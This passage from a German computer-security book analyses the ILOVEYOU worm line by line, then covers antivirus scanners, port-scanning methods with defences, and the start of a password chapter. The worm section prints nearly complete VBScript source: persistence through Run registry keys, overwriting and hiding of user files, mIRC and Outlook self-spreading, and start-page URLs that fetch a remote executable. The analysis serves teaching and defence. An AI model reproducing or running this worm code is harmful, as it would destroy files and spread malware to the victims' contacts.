 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX
 Der Virus versendete sich automatisch, nachdem er ausgeführt wurde, an E-Mail-adressen aus dem eigenen Adressbuch, um sich zu vervielfältigen. So kam ein hoher Traffic auf z.B. firmeninternen Netzwerkmailservern zustande, woraufhin einige Fir-mennetze komplett auf Mailversand verzichten mussten.
 Der Wurm verbreitete sich sowohl über Outlook als auch über mIRC. Er modifiziert das script.ini File von mIRC, so dass jeder neue Besucher eines Channels, in dem sich auch der infizierte befand, das .vbs-File erhielt.
 Das wohl destruktivste an diesem Wurm war die Tatsache, dass er alle .js-, .jse-, .css-, .wsh-, .sct-, .hta-, .vbs-, .jpeg-, .jpg-Dateien unbrauchbar machte bzw. .mp3- und .mp2-Dateien versteckte, was vor allem für Layouter und DTP-Unternehmen problematisch war.
 Während der Wurm aktiv war, trug er sich im Taskmanager als Prozess »w_srcipt« ein. In diesem Fall musste man schnell diesen Task schließen oder gleich den Rechner killen!
 Eine Variante dieses Wurms aktivierte das Passwort Caching und übermittelte danach die gecachten Passwörter per Mail.
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 Bekannte Varianten sind bisher:
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ILOVEYOU Susitikim shi vakara kavos puodukui... Joke Mothers Day Order Confirmation Dangerous Virus Warning Virus ALERT!!! Important! Read carefully!! I Cant Believe This!!! Thank You For Flying With Arab Airlines Variant Test Yeah, Yeah another time to DEATH... LOOK! How to protect yourself from the IL0VEY0U bug!
 Am »Amable Mendoza Aguila Computer College«, dem Arbeitsplatz des Hackers, der den Namen »Spyder« benutzte, wurden 10 Personen verdächtigt, die an der Entwicklung der Barok 2.1 Software beteiligt gewesen sein sollen. Der 18-jährige deutsche Austausch-schüler in »Gold Coast«, Australien, namens »Michel« war nach ersten Verlautbarungen nicht verantwortlich für den Virus. Er hatte nur die Meldung aus dem Heise-Newsticker zur Beseitigung des ILOVEYOU-Wurms ins Englische übersetzt und im Usenet verbreitet. Dadurch ist er in Zusammenhang mit dem Wurm gebracht worden.
 Mittlerweile hatten die Hacker Zeit, alle relevanten Beweise auf den Rechnern zu lö-schen, als die Behörden über mehrere Tage keinerlei Aktivitäten zeigten.
 Der Wurm hatte nach offiziellen Zahlen 600.000 Computer erreicht, die inoffiziellen Zahlen liegen aber weitaus höher, da in diese Statistiken nicht die Rechner von Privatbe-nutzern eingehen.
 Der Schaden wurde auf 5,3 Milliarden Mark geschätzt. Dies ist die reine materielle Aus-fallzeit der betroffenen Server. Die Angst und Verärgerung der Systemadministratoren ist da gar nicht berücksichtigt. Zwei prominente Opfer waren die Fernsehanstalt ZDF und die Expo-Weltausstellung, deren Systeme kurz vor Veröffentlichung stark betroffen waren. Viele Firmen nahmen ihre Mailserver vorsorglich vom Netz.
 Die einzigen Gewinner dieser Vorfälle waren die Hersteller von Antivirensoftware, deren Aktien um bis zu 10% stiegen.
 Im Gegensatz zu den DDoS Attacken im März 2000 war das Netz nicht in seiner Ge-schwindigkeit und Funktionalität beeinflusst.
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 5.7.3 Wie konnte sich der Wurm verbreiten?
 Die Grundlage der Verbreitung dieses Wurms ist die Tatsache, dass heutzutage gerade bei Internet-Neulingen kein Bewusstsein gegenüber Netzgefahren besteht.
 Dieser Wurm hätte keine Chance, wenn alle Enduser über die Gefahren von Visual Basic Scripts Bescheid wüssten.
 Viele haben geglaubt, dass nur ausführbare Dateien, wie .exe oder .com-Dateien Gefah-ren beinhalten. Dass aber auch ActiveX-Controls und andere Scripts gefährlich sein können, ist noch nicht allgemein bekannt. Das Thema »ILOVEYOU-Wurm« ist in der Vergangenheit sehr oft in den Medien präsent gewesen, aber nirgendwo gab es eine Er-klärung, geschweige denn eine Analyse mit Hintergrundinfos für den Anwender.
 Als Gegenmaßnahme empfehlen sich die Deinstallation des WindowsScripting-Hosts und die Entfernung der Einträge in der Registry, sowie das Löschen der *.vbs-Dateien im Windows- und Windows/System-Ordner.
 5.7.4 Der Source mit Kommentaren
 Im Folgenden ist der Quellcode des ILOVEYOU-Virus abgebildet, in dieser Form ist er allerdings völlig wirkungslos. Es soll lediglich Zeile für Zeile der Aufbau gezeigt und kommentiert werden. Ausgeführt wird der Virus mit dem Windows Scripting Host.
 rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / [email protected] / @GRAMMERSoft Group / Manila,Philippines
 Diese Zeilen sind lediglich Autorenkommentare wie z.B. Pseudonym und Mail Adresse des Autors, diese haben für die Arbeitsweise des Virus keinerlei Bedeutung.
 On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0
 Mit On Error Resume Next wird zunächst die Fehlerbehandlung eingeleitet: Tritt wäh-rend der Abarbeitung des Programms ein Fehler auf, soll mit dem nächsten Schritt wei-tergemacht werden, ohne eine Fehlermeldung auszugeben. Danach werden ein paar Va-riablen definiert, mit diesen Variablen wird später im Programm gearbeitet.
 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll
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 Das Programm legt dann ein »FileSystemObject« (fso) an. Mit dem Objekt kann auf Da-teien zugegriffen werden. Das passiert dann auch in der nächsten Zeile: Das Programm liest sich selbst in den Speicher ein mit OpenTextFile und dem danach folgenden ReadAll().
 main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\ Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\ Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub
 Ab hier beginnt die Hauptroutine des Virus:
 Zunächst wird mit CreateObject() ein »Shell«-Objekt erzeugt – dieses Objekt ermöglicht den Zugriff auf verschiedene Funktionen von Windows. Man kann z.B. damit die Regis-try auslesen und in sie schreiben, was dann auch später noch geschieht.
 Mit den Set-Befehlen erfragt das Programm dann die Verzeichnisse von Windows (dir-win) sowie das Verzeichnis Windows/System (dirsystem), um dann eine Kopie von sich selbst mit folgenden Namen MSKernel32.vbs und Win32DLL.vbs bzw. LOVE-LETTER-FOR-YOU.TXT.vbs anzulegen. Diese Dateien enthalten also einzig und allein den Virus.
 Wenn der Virus sich so kopiert hat, beginnt er mit seiner eigentlichen Aufgabe, indem er folgende Funktionen aufruft: regruns(), html(), spreadtoemail() und listadriv().
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 html() legt lokal eine HTML-Datei an, die im eigentlichen Sinne nochmals den Virus selbst enthält und diesen bei Aufruf ausführt.
 Die anderen Funktionen werden im Verlauf des Quellentextes genau erläutert, auch ihre Arbeitsweise.
 sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ ➥MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ ➥RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\ ➥Download Directory") if (downread="") then downread="c:" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start ➥Page","http://www.skyinet.net/ ➥~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/ ➥WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start ➥Page","http://www.skyinet.net/ ➥~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKL ➥JKjhkqj4w/ WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmP ➥OhfgER67b3Vbvg/ WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start ➥Page","http://www.skyinet.net/~chu/
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 ➥sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjh ➥PhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/ ➥WIN-BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ ➥WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start ➥Page", "about:blank" end if end sub
 Die Funktion regruns() hat verschiedene Aufgaben in der Registry .
 Unter 'CurrentVersion/Run' legt sie zwei Schlüssel an, beide zeigen auf die zuvor ange-legten Kopien des Virus unter den Namen MSKernel und Win32DLL.
 Die Einträge unter 'Run' werden beim Start von Windows automatisch ausgeführt. Das bedeutet, dass beim nächsten Systemstart der Virus wieder gestartet wird und erneut mit der Arbeit beginnt.
 Dann sucht der Virus den Internet-Cache, also das Verzeichnis, in das vom Internet Ex-plorer die entsprechenden Dateien geladen werden. Findet der Virus keinen Cache, so wird einfach C: genutzt.
 Nun verändert das Programm die Startseite des Internet Explorers, dabei stehen dem Programm vier verschiedene Seiten zur Auswahl, von denen eine dann per Zufallswert ermittelt wird. Alle diese Seiten verweisen auf einen Server bei skyinet.net. Von dieser Seite wird dann noch eine weitere Datei automatisch vom Virus heruntergeladen, diese Datei trägt sich wiederum in die Registry ein, so dass sie beim nächsten Start von Win-dows aufgeführt wird, um den Virus bei seiner Arbeit zu unterstützen.
 Kurz nach dem ersten Erscheinen von ILOVEYOU reagierte Skyinet.net jedoch und nahm die entsprechenden Seiten vom Server.
 sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"")

Page 190
						

119966 Kapitel 5: Viren – Gefährliche Dateien
 end if Next listadriv = s end sub
 Diese Funktion listet alle Laufwerke auf und ruft dann die Funktion folderlist auf, die ih-rerseits alle Ordner auf den Laufwerken abarbeitet.
 sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub
 Für jeden Ordner wird dann die Funktion InfectFiles aufgerufen. Diese Funktion bear-beitet einzelne Dateien in den Ordnern, was dabei genau geschieht, wird weiter unten beschrieben.
 Hier sind alle Dateien aufgeführt, die infiziert werden:
 sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path)
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 cop.copy(folderspec&""&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( == ) { halt }" scriptini.WriteLine "n2= /.dcc send "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub
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 InfectFiles hat zwei Aufgaben,
 1.
 2.
 InfectFiles sucht alle Dateien mit bestimmten Endungen (.js, .wsh, .css usw.) und überschreibt diese Dateien mit einer Kopie von sich selbst.
 Wird ein mIRC (Chat Script) gefunden, so überschreibt er die script.ini. Mit diesem Script wird, falls es ausgeführt wird, ebenfalls der Virus weitergetragen, indem er ei-ne Datei namens LOVE-LETTER-FOR-YOU.HTM an alle Nutzer des Channels sendet.
 Folgende Funktionen sind Hilfsfunktionen, die an anderen Stellen im Programm ver-wendet werden. Diese Funktionen legen einen Registry-Eintrag an und überprüfen, ob bestimmte Dateien oder Ordner existieren.
 sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub
 function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function
 function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if
 fileexist = msg end function
 function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1
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 end if fileexist = msg end function
 sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite ➥"HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count else regedit.RegWrite ➥"HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count end if
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 next Set out=Nothing Set mapi=Nothing end sub
 Die Funktion SpreadToEmail() öffnet das Programm, in dem Windows alle Mailadressen speichert, also das Adressbuch (WAB.EXE), um danach an alle in diesem Adressbuch ge-speicherten Adressen eine Kopie des Virus zu senden.
 Das ist die eigentliche Verbreitungsart des Programms: es wird ausgeführt, und sendet sich an alle Adressen, die es finden kann. Nur deshalb konnte es sich rasend schnell ver-breiten.
 Wie man sieht, ist ILOVEYOU trotz seiner Einfachheit mit recht komplexen Funktionen ausgestattet. Der Schaden, den er beim User jenseits der betroffenen Grafiker, Layourter etc. hinterlässt, ist meist gering , es werden lediglich diverse Script Dateien überschrie-ben. Der Schaden für ISP bzw. Maildienste ist aufgrund der nicht zu bewältigenden Menge an E-Mails in die Millionen gegangen.
 5.8 Wie arbeiten Virenscanner? Ein Virenscanner arbeitet mit einer Datenbank, in der die Namen und die Signaturen jedes erkennbaren Virus gespeichert sind. Die meisten Virenscanner können ihre Da-tenbanken mittels Update ständig erweitern, dazu unterhalten die Produzenten der Software eigene Virenlabors, beschäftigen so genannte Spürtrupps und besuchen ein-schlägige Newsgroups, damit sie ständig auf die neuen Bedrohungen reagieren können.
 5.8.1 Scannermodul
 Das Scannermodul ist für das Aufspüren der Viren auf der Festplatte zuständig. Der Scan-ner überprüft den Code einer Datei oder eines Programms. Findet der Scanner einen ver-änderten Code oder eine Anomalie, so vergleicht er diese mit den Signaturen der Daten-bank auf Übereinstimmung mit dem Code eines Virus. Das Verfahren nennt sich Pattern Matching. Das Scannermodul erkennt auch Strings und Verhaltensweisen von Viren und kann damit potentiell auch Viren erkennen, die noch nicht in der Datenbank enthalten sind. Bei diesen Scans ist die Fehlerquote leider höher als bei der normalen Virensuche.
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 5.8.2 Virenschild
 Der Virenschild ist ein speicherresidentes, im Hintergrund arbeitendes Scanmodul. Es ist so eingestellt, dass es ständig in Echtzeit alle Zugriffe des Users auf Dateien verfolgt. Wird eine Datei z.B. gestartet, markiert, umbenannt oder aus dem Netz geladen, untersucht der Virenschild diese sofort und meldet sich wenn nötig. Der Nachteil eines Virenschildes ist, dass je nach Virenprogramm die Systemperformance unter einem aktivierten Schild leidet.
 5.8.3 Desinfizierer
 Wenn ein Virus festgestellt wird, tritt das Desinfiziermodul in Aktion. Der Desinfizierer hat je nach Infektion verschiede Optionen, die Datei zu entfernen. Entweder wird die Datei von dem Virus bereinigt bzw. isoliert, wobei die Datei in ein »Quarantä-neverzeichnis« verschoben wird, oder die Datei wird gelöscht, wenn der Desinfizierer keine Möglichkeit hat, die Datei anderweitig zu bereinigen.
 5.8.4 Kriterien für die Auswahl eines Virenschutzprogramms
 Auf dem Markt sind unterschiedlichste Programme teilweise gratis, teilweise im Bereich von rund 50 Euro für den Privatgebrauch erhältlich. Unternehmen müssen aus lizenz-rechtlichen Gründen im Allgemeinen immer eine Firmenlizenz erwerben, erhalten dafür aber auch meist besseren Support. Welches das Programm Ihrer Wahl sein sollte, ist schwierig zu beschreiben. Grundsätzlich hinken alle Programme hinter der Virenent-wicklung her, der betriebene Aufwand bei den Herstellern zur zeitnahen Anpassung ist also sicherlich wichtig. Geschwindigkeit und Qualität sollten ausschlaggebend sein, wo-bei Sie sich an einschlägigen Tests orientieren sollten, denn Sie können das nicht selbst ausprobieren. Im Netzwerk sind Hintergundfunktionen sicherlich relevanter, als wenn Sie nur alle paar Tage mal ein Programm aus dem Internet herunterladen. Welchen Aufwand Sie betreiben wollen oder müssen, hängt davon ab, wie groß das Risiko einer Infektion und wie teuer die Wiederherstellung der Daten wäre.
 Man sollte auf folgende Kriterien achten:
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 Häufigkeit der angebotenen Programmupdates ( am besten 1 Mal die Woche) Qualität des Supports Scangeschwindigkeit Scanqualität Ist ein Scan im Hintergrund möglich oder ist das System beim Scannen blockiert? Erkennt das Programm Viren bereits während des Downloads? Ist die Software in der Lage, Viren auch in komprimierten Dateien zu finden? Kann die Software E-Mail-Anhänge (Attachments) vor der Ausführung überprüfen? Ist die Bedienung komfortabel oder unnötig kompliziert?
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 Scanning ist eine der wichtigsten Methoden zum Aufdecken von Schwachstellen eines Systems. Das Prinzip beruht darauf, dass möglichst viele Schnittstellen bzw. Ports eines Systems angesprochen werden, um herauszufinden, welche einen Verbindungsaufbau zulassen.
 Die Portscans sind das wichtigste Werkzeug von Angreifern. Jeder Hacker wird, bevor er mit seiner Arbeit beginnt, einen Portscan an seinem Zielsystem durchführen. Daneben können Portscans aber auch Administratoren dienen, die Sicherheit ihres System zu über-prüfen. Daher sollte jeder Systemverwalter mit Scannern vertraut sein.
 Die folgenden Erläuterungen setzen Basiskenntnisse der gängigen Protokolle voraus, sonst sind die Zusammenhänge nur schwer verständlich. Alle wichtigen Informationen finden Sie in Kapitel 3.
 6.1 Der Scanner Zum Durchführen der Scans benötig man einen Portscanner. Zu den bekanntesten Scannern gehören Nessus und nmap, die beide ihren Ursprung unter Linux fanden, aber mittlerweile auch für Windows erhältlich sind. Die Scanner senden dabei Anfragen an Ports und geben die Antworten des Systems wieder. Dabei sammeln sie verschiedene In-formationen, unter anderem, welche Dienste auf dem System laufen, ob anonyme Log-ins möglich sind und ob Netzwerkdienste Authentifizierungen erfordern.
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 Bild 6.1: Nessus für Windows95/98/NT
 Bild 6.2: nmap für Windows
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 6.2 Scan-Verfahren Es gibt verschiedene Möglichkeiten, ein System zu scannen. Welche davon gewählt wird, hängt von den Voraussetzungen ab, unter denen die Aufgabe gelöst werden soll. Ein Administrator mit allen Rechten für das System möchte schnell einen kompletten Über-blick erhalten, ein Hacker möglichst unbemerkt bleiben. Welche verschiedenen Verfah-ren es gibt, erfahren Sie hier.
 6.2.1 Scan mit vollem TCP-Connect
 Bei diesem Verfahren handelt es sich um eine Scan-Methode, die darauf zielt, Servi-ces/Dienste zu finden, die auf Basis des TCP arbeiten. Dazu geht man folgendermaßen vor: Der Scanner bzw. der Client versucht, zu jedem Port des Hosts eine vollständige Verbindung aufzubauen. Bekommt der Scanner bei diesen Versuchen vom einem Port eine Antwort, so gilt dieser als erreichbar. Der Scanner schickt zu diesem Zweck ein TCP/IP-Paket mit SYN-Flag an den Rechner (Flags [Flaggen] sind spezielle Kennzeich-nungen im TCP-Header des Pakets) und erhält vom Host als Rückmeldung entweder bei einem nicht erreichbaren Port RST-ACK oder bei einem erreichbaren SYN-ACK. In diesem Fall antwortet der Scanner wieder mit ACK, und die Verbindung steht.
 Auf diese Art und Weise jede Verbindung aufzubauen und dann wieder zu beenden, würde sehr lange dauern, und es wäre fraglich, ob so sämtliche Ports abgescannt werden können. Auf jeden Fall würde dies aber sicherlich jeden Zeitrahmen sprengen.
 Daher greift der Scanner auf eine Multi-Socket-Methode zurück, bei der der Scanner sehr viele Anfragen gleichzeitig stellt.
 Der Vorteil dieser Methode ist, dass sie sehr schnell zu Ergebnissen führt. Für Angreifer ist diese Methode aber nicht geeignet, da es sich um eine sehr auffällige Methodik han-delt und so mit hoher Wahrscheinlichkeit die IP-Adresse des Angreifers in den Logfiles des Systems mitgeschrieben wird.
 6.2.2 Halboffenes TCP-Scanning
 Bei halboffenen Scans wird keine volle Verbindung zum Host hergestellt, sondern nach Erhalt der SYN-ACK-Bestätigung von einem erreichbaren Socket sofort mit RST-ACK die Verbindung abgebrochen. Vorteilhaft ist dabei, dass sie bei geringem Sicherheits- und Überwachungsstatus des gescannten Rechners nicht festgestellt werden kann. Der Nachteil ist, dass man unter Unix über die Root-Rechte verfügen muss, um einen sol-chen Scan durchzuführen. Dadurch wird sichergestellt, dass in Netzwerken niemand mit niedrigeren Privilegien bzw. Rechten einen solchen Scan durchführen kann, sondern nur der zuständige Administrator.
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 6.2.3 TCP-FIN-Scan
 TCP-Fin-Scanning wird durch einen Fehler (Bug) in den meisten TCP-Implemen-tierungen unter Unix möglich. Hierbei wird an die zu scannenden Ports ein TCP-Paket mit einem FIN-Paket geschickt. FIN-Pakete werden dazu genutzt, eine bestehende Ver-bindung ordentlich zu beenden. Geschlossene Ports antworten auf ein FIN-Paket mit einem RST-Paket, offene tun dies nicht, daher sind offene Ports leicht mit einem TCP-FIN-Scan zu ermitteln. Diese Art von Scan ist eine der wenigen Methoden, die eher un-auffällig sind. Diese Scans funktionieren allerdings nur bei Unix, bei Microsoft-Betriebssystemen gibt es derartige Fehler in der TCP-Implementierung nicht.
 6.2.4 Fragmentiertes Scanning
 Eine weitere Art des TCP-Scans ist das fragmentierte Scannen. Dabei werden TCP-Pakete in mehrere kleinere Pakete fragmentiert bzw. zerteilt. Auf diese Weise kann man sicherstellen, dass der jeweilige Portscan nicht durch eine Firewall entdeckt wird.
 6.2.5 UDP-ICMP-Port-Unreachable-Scanning
 UDP sendet im Gegensatz zu anderen Protokollen keine Empfangsbestätigungen zu-rück. Es wird lediglich eine Meldung von geschlossenen Ports zurückgeschickt, die be-sagt, dass der Port nicht erreichbar ist. Man scannt also Ports durch und wartet auf eine UDP-ICMP-PORT-UNREACH-Meldung. Diese Art von Scan ist sehr langwierig und die Genauigkeit hängt in hohem Maß von der Auslastung bzw. den Systemressourcen des zu scannenden Rechners ab.
 Diese Scans funktionieren zudem nur unter Linux, außerdem erhalten nur User, die als root angemeldet sind, die ICMP PORT UNREACH- Meldungen. Nur der Administrator kann diese Scans durchführen, ein Hacker muss also auf seinem Linux-System Admin-Rechte besitzen, was vorauszusetzen ist. Innerhalb eines Netzes ist diese Methode sonst nicht anwendbar.
 6.2.6 UDP-Recvfrom-And-Write-Scanning
 Im Gegensatz zum UDP-ICMP-PORT-UNREACH- Scanning, bei dem nur User, die als root angemeldet sind, positive Rückmeldungen erhalten, gibt das UDP-Recvfrom-And-Write-Scanning einem normal angemeldeten User die Möglichkeit, »interessante« Mel-dungen zu erhalten.

Page 202
						

220088 Kapitel 6: Scanning – Lücken suchen
 Der Hintergrund dafür ist wiederum ein Bug: Versucht man, zu einem Port zu schrei-ben, der beim UDP-ICMP-PORT-UNREACH-Scanning mit ICMP PORT UNREACH geantwortet hat (was man als normaler Anwender nicht erfährt), so erhält man meist die Meldung: Error 13 - Try Again, anstatt des normalen: Error 111 - Connection refused.
 Bei dieser Methode wird also jeder Port zweimal gescannt, einmal nur um den Rechner zu einer Antwort zu bewegen, die man leider nicht sieht, und beim zweiten Mal, um dann doch informative Rückmeldungen zu erhalten – bei Fehler 13 ist der Port definitv geschlossen. Natürlich ist diese Methode sehr zeitaufwendig und oft unzuverlässig.
 6.2.7 ICMP-echo-scanning/ping-Scan
 Bei dieser Art von Scan geht es nur darum festzustellen, welche Hosts erreichbar sind. Das heißt, dass man einen ICMP echo scanning/ping Scan ausführt, um einen Host zu finden, bevor man den eigentlichen Portscan auf einem gefundenen System starten kann. Dabei sendet man ein ICMP-ECHO-Paket oder einfach Ping an verschiedene IP- Adressen. Befindet sich hinter einer dieser Adressen ein System, wird es mit einem ICMP-ECHO-REPLY-Paket antworten. Nun hat man ein Ziel, das der Angreifer mit den verschiedensten Scans nach Löchern abscannen kann.
 6.2.8 Offene Ports sind nur der Anfang
 Ist ein System mit offenen Ports gefunden, so kann man sich mittels der Portlist (http://www.iana.org/assignments/port-numbers) einen Überblick darüber verschaffen, welche Services (FTP, Telnet, HTTP, HTTPS, usw.) auf dem System laufen.
 Angreifer würden nun beginnen, sich Informationen über das Zielsystem zu beschaffen. Das beginnt bei dem Betriebssystem, das auf dem Rechner läuft. Je nachdem welche Ports offen sind und welches Betriebssystem installiert ist, kann der Angreifer nun an-fangen, nach entsprechenden Exploits Ausschau zu halten.
 6.2.9 Schutz vor Portscans
 Ein Scan ist meist der erste Schritt, den Angreifer durchführen, um ihr Zielsystem zu finden und zu analysieren. Durch ihn können etliche relevante Informationen gesam-melt werden, ohne die ein Angriff meist gar nicht möglich wäre. Es ist daher wichtig, sich gegen Portscans zu schützen bzw. Scans zu protokollieren, um den möglichen An-greifer identifizieren zu können, bevor er seinen eigentlichen Angriff beginnt.
 Natürlich ist es sehr schwierig, jemanden davon abzuhalten, ein System zu scannen. Der beste Schutz ist dann gegeben, wenn ein Scan keine offenen Ports findet. Man sollte also alle Dienste so weit wie möglich deaktivieren, um keine Angriffsflächen zu bieten.
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 Dies ist aber meist schwer zu realisieren, allein schon wenn man beispielsweise einen FTP-Server auf seinem System betreibt oder aufgrund eines angeschlossenen Netzwerks die Erreichbarkeit des Ports 139 gewährleisten muss (siehe Windows-Freigaben im Ka-pitel über die Schwachstellen von Windows-Systemen). Hier helfen Firewalls wie z.B. Norton Internet Security oder Portscan Detektoren wie beispielsweise BlackICE.
 Bild 6.3: Protokoll von Norton Internet Security
 Firewalls verfügen über Protokoll-Funktionen, die Portscans aufzeichnen. Weiterhin kann man Firewalls dahingehend konfigurieren, dass sie Warnmeldungen zeigen, sobald TCP-Verbindungen eingehen und versuchen, einen Port zu verbinden.
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 In diesem Kapitel soll die Sicherheit von Passwörtern beleuchtet werden. Eine der größ-ten Hürden stellt für den Hacker nach wie vor ein sinnvoller Passwortschutz dar, da so-wohl im Internet als auch auf lokalen Rechnern Dateien und Accounts häufig mit Pass-wörtern vor unbefugtem Zugriff geschützt sind.
 Um Passwörter zu erfahren bzw. zu cracken, gibt es verschiedene Möglichkeiten. Eine der wichtigsten ist Social Engineering, womit man das Ermitteln relevanter Daten über den Passwort-Besitzer bezeichnet. Die Kreativität, mit der dabei vorgegangen wird, ist unglaublich. Lassen Sie sich also nicht von Unbekannten Informationen entlocken, die Sie niemandem freiwillig geben würden. Das kann z.B. bei einem Anruf geschehen, bei dem der Vorname Ihres Vorgesetzten erfragt wird (Stichwort: E-Mail-Adresse).
 Der klassische Cracker ist ein Programm, das anhand einer Liste alle möglichen Varian-ten durchspielt. Wie diese Programme vorgehen, erfahren Sie in Kapitel 7.3 . Daneben soll natürlich auch der beste Schutz gegen Passwort-Cracker, das »sichere« Passwort nicht vergessen werden.
 Über Passwort-Cracking kann man viele Seiten schreiben. Das wichtigste ist aber, dass ein Passwort nicht zu einfach ist. Deshalb möchte ich hier nur die wirklich wichtigen In-formationen dazu samt einem Programm vorstellen und den Fokus auf die Sicherheit der Passwortwahl legen.
 7.1 Security-Site gehackt – Password-Cracking macht’s möglich
